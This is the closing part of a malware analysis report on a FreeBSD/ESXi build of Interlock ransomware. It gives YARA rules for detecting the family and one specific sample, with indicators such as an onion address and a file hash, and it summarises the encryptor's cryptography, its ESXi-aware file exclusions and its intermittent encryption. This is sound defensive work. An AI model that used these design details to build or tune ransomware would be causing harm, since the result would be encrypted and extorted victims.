Two rules are provided: a family-level rule for detecting Interlock ransomware variants across campaigns (avoids victim-specific strings), and a sample-specific rule for hunting this exact build.
Family-Level Detection
rule Interlock_Ransomware_FreeBSD_Family {
meta:
description = "Detects Interlock ransomware FreeBSD/ELF family"
author = "Malware Analysis Report"
date = "2026-03-25"
reference = "Interlock ransomware — FreeBSD encryptor variant"
strings:
// Ransom note and extension — core behavioral indicators
$note_name = "/!__README__!.txt" ascii
$extension = ".interlock" ascii
// Exported function names (present due to static linking with symbols)
$func_loopdir = "loopdir" ascii
$func_startCrypt = "startCrypt" ascii
$func_threadMain = "threadMain" ascii
$func_toNote = "toNote" ascii
$func_rsaCrypt = "rsaCrypt" ascii
$func_cryptBlocks = "cryptBlocks" ascii
// Developer typos — strong family fingerprint
$typo1 = "checkExceptFileCastom" ascii
$typo2 = "checkSpase" ascii
// CLI interface
$cli_dir = "--directory" ascii
$cli_file = "--file" ascii
$cli_del = "--delete" ascii
$cli_sys = "--system" ascii
// ESXi-aware exclusions
$except_bootcfg = "boot.cfg" ascii
condition:
uint32(0) == 0x464C457F and // ELF magic
(
($extension and $note_name and 2 of ($func_*)) or
(3 of ($func_*) and $extension) or
(2 of ($typo*) and $extension) or
($extension and $note_name and 3 of ($cli_*))
)
}
Sample-Specific Detection
rule Interlock_Ransomware_FreeBSD_Sample_e86bb836 {
meta:
description = "Detects specific Interlock ransomware sample (e86bb836...)"
author = "Malware Analysis Report"
date = "2026-03-25"
hash = "e86bb8361c436be94b0901e5b39db9b6666134f23cce1e5581421c2981405cb1"
strings:
$onion = "ebhmkoohccl45qesdbvrjqtyro2hmhkmh6vkyfyjjzfllm3ix72aqaid.onion" ascii
$company_id = "6ABHZ2O95ATC7EPVLQSU6DAN4XRLYTDU782JWPSSBXJVPTZY88KKPFYWCXKL" ascii
$extension = ".interlock" ascii
condition:
uint32(0) == 0x464C457F and
($onion or $company_id) and $extension
}
Conclusion
-
FreeBSD encryptor with ESXi awareness: The static linking against FreeBSD libraries, ESXi bootbank file exclusions (
boot.cfg,.b00,.v00-.v07,.t00), and directory skip list (which includes both FreeBSD and Linux-specific paths) indicate a binary built on FreeBSD and designed to operate safely on ESXi hypervisors — avoiding host-bricking while encrypting VM datastores and non-standard mount points. -
Competent but flawed cryptography: While the hybrid RSA-4096 + AES-256-CBC scheme is architecturally sound, the use of
rand()/srand()for per-file key generation is a design weakness. The low-entropy seed is concerning, though practical exploitation is complicated by multi-threadedrand()consumption making the key stream non-deterministic without knowledge of thread scheduling order. -
Speed over security: The intermittent encryption pattern (growing gaps between encrypted 1MB blocks) prioritizes encryption speed over thoroughness — a pragmatic choice for encrypting terabyte-scale VM disk images, but one that leaves significant unencrypted data recoverable.
-
Post-exploitation payload: The complete absence of anti-analysis, persistence, C2, privilege escalation, and lateral movement confirms this binary is a final-stage encryptor deployed after the operator has already achieved full access to the target environment.
-
Per-victim customization: The hardcoded Company ID and Tor endpoint indicate this sample is a custom-configured build for a specific victim or campaign, making hash-based detection less effective across campaigns.
-
Simple but effective: Despite its relatively simple codebase (~1,700 functions, many from static libraries), the ransomware achieves its objective efficiently — multi-threaded encryption across all available CPUs with thread-safe RSA operations and a clean producer-consumer work distribution model.